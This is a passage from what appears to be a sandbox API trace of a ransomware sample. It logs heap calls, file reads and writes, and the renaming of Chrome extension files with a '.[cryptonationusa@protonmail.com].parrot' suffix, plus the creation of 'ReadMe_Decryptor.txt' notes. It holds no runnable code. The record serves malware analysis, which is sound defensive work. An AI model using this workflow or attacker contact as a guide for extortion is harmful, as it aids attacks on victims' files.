hHeap=0x5b0000) returned 1 [0063.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0063.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0063.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0063.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0063.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0063.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0063.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22403b8 [0063.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0063.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d90e8 [0063.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22403b8 | out: hHeap=0x5b0000) returned 1 [0063.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3580 [0063.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90e8 | out: hHeap=0x5b0000) returned 1 [0063.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a3768 [0063.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3580 | out: hHeap=0x5b0000) returned 1 [0063.068] WriteFile (in: hFile=0x288, lpBuffer=0x6a3768*, nNumberOfBytesToWrite=0x288, lpNumberOfBytesWritten=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x6a3768*, lpNumberOfBytesWritten=0x18dd34*=0x288, lpOverlapped=0x0) returned 1 [0063.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3768 | out: hHeap=0x5b0000) returned 1 [0063.068] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x278, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.068] CloseHandle (hObject=0x288) returned 1 [0063.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d90e8 [0063.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x6a3580 [0063.069] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90e8 | out: hHeap=0x5b0000) returned 1 [0063.069] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0063.070] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3580 | out: hHeap=0x5b0000) returned 1 [0063.070] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160810 | out: hHeap=0x5b0000) returned 1 [0063.070] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22408f8 | out: hHeap=0x5b0000) returned 1 [0063.070] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d90e8 [0063.070] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x22408f8 [0063.070] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0063.070] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0063.070] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18db28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0063.244] GetFileType (hFile=0x288) returned 0x1 [0063.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0063.254] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2c6e, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.254] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.254] ReadFile (in: hFile=0x288, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0063.260] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.260] ReadFile (in: hFile=0x288, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2b56, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x2b56, lpOverlapped=0x0) returned 1 [0063.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0063.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0063.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0063.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0063.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0063.262] GetLastError () returned 0x0 [0063.262] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0063.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0063.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0063.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0063.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0063.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0063.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0063.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0063.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0063.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0063.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0063.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0063.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0063.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0063.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0063.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0063.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0063.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0063.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0063.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0063.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22403b8 [0063.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0063.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d90e8 [0063.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22403b8 | out: hHeap=0x5b0000) returned 1 [0063.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x22408f8 [0063.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90e8 | out: hHeap=0x5b0000) returned 1 [0063.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a3580 [0063.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22408f8 | out: hHeap=0x5b0000) returned 1 [0063.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6a3850 [0063.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3580 | out: hHeap=0x5b0000) returned 1 [0063.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d95b8 [0063.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3850 | out: hHeap=0x5b0000) returned 1 [0063.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x6a3580 [0063.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d95b8 | out: hHeap=0x5b0000) returned 1 [0063.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d95b8 [0063.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3580 | out: hHeap=0x5b0000) returned 1 [0063.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0063.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d95b8 | out: hHeap=0x5b0000) returned 1 [0063.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x3150048 [0063.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0063.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x3158110 [0063.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150048 | out: hHeap=0x5b0000) returned 1 [0063.263] WriteFile (in: hFile=0x288, lpBuffer=0x3158120*, nNumberOfBytesToWrite=0x2c78, lpNumberOfBytesWritten=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x3158120*, lpNumberOfBytesWritten=0x18dd34*=0x2c78, lpOverlapped=0x0) returned 1 [0063.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3158110 | out: hHeap=0x5b0000) returned 1 [0063.264] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2c6e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.264] CloseHandle (hObject=0x288) returned 1 [0063.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d90e8 [0063.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x22408f8 [0063.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90e8 | out: hHeap=0x5b0000) returned 1 [0063.265] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0063.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22408f8 | out: hHeap=0x5b0000) returned 1 [0063.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160810 | out: hHeap=0x5b0000) returned 1 [0063.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31540d0 | out: hHeap=0x5b0000) returned 1 [0063.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d90e8 [0063.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x22408f8 [0063.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0063.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0063.266] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18db28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0063.267] GetFileType (hFile=0x288) returned 0x1 [0063.267] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0063.446] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xda5, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.446] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.446] ReadFile (in: hFile=0x284, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0063.461] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.462] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc8d, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0xc8d, lpOverlapped=0x0) returned 1 [0063.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0063.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0063.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0063.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0063.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0063.462] GetLastError () returned 0x0 [0063.462] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0063.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0063.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0063.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0063.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0063.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0063.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0063.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0063.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0063.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0063.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0063.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0063.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0063.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d37b8 [0063.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22404c8 [0063.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d37b8 | out: hHeap=0x5b0000) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a39c8 [0063.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22404c8 | out: hHeap=0x5b0000) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a3bb0 [0063.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a39c8 | out: hHeap=0x5b0000) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d95b8 [0063.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3bb0 | out: hHeap=0x5b0000) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d99f0 [0063.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d95b8 | out: hHeap=0x5b0000) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x68d248 [0063.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d99f0 | out: hHeap=0x5b0000) returned 1 [0063.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d95b8 [0063.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68d248 | out: hHeap=0x5b0000) returned 1 [0063.464] WriteFile (in: hFile=0x284, lpBuffer=0x5d95b8*, nNumberOfBytesToWrite=0xda8, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x5d95b8*, lpNumberOfBytesWritten=0x18e024*=0xda8, lpOverlapped=0x0) returned 1 [0063.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d95b8 | out: hHeap=0x5b0000) returned 1 [0063.464] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xda5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.464] CloseHandle (hObject=0x284) returned 1 [0063.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9148 [0063.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1ae) returned 0x22404c8 [0063.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9148 | out: hHeap=0x5b0000) returned 1 [0063.465] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0063.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22404c8 | out: hHeap=0x5b0000) returned 1 [0063.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0063.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68e250 | out: hHeap=0x5b0000) returned 1 [0063.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x689470 [0063.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d9148 [0063.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0063.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0063.466] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18de18, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0063.466] GetFileType (hFile=0x284) returned 0x1 [0063.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0063.484] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a7, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.484] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.484] ReadFile (in: hFile=0x284, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0063.485] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.485] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8f, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x8f, lpOverlapped=0x0) returned 1 [0063.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0063.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0063.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0063.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0063.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0063.486] GetLastError () returned 0x0 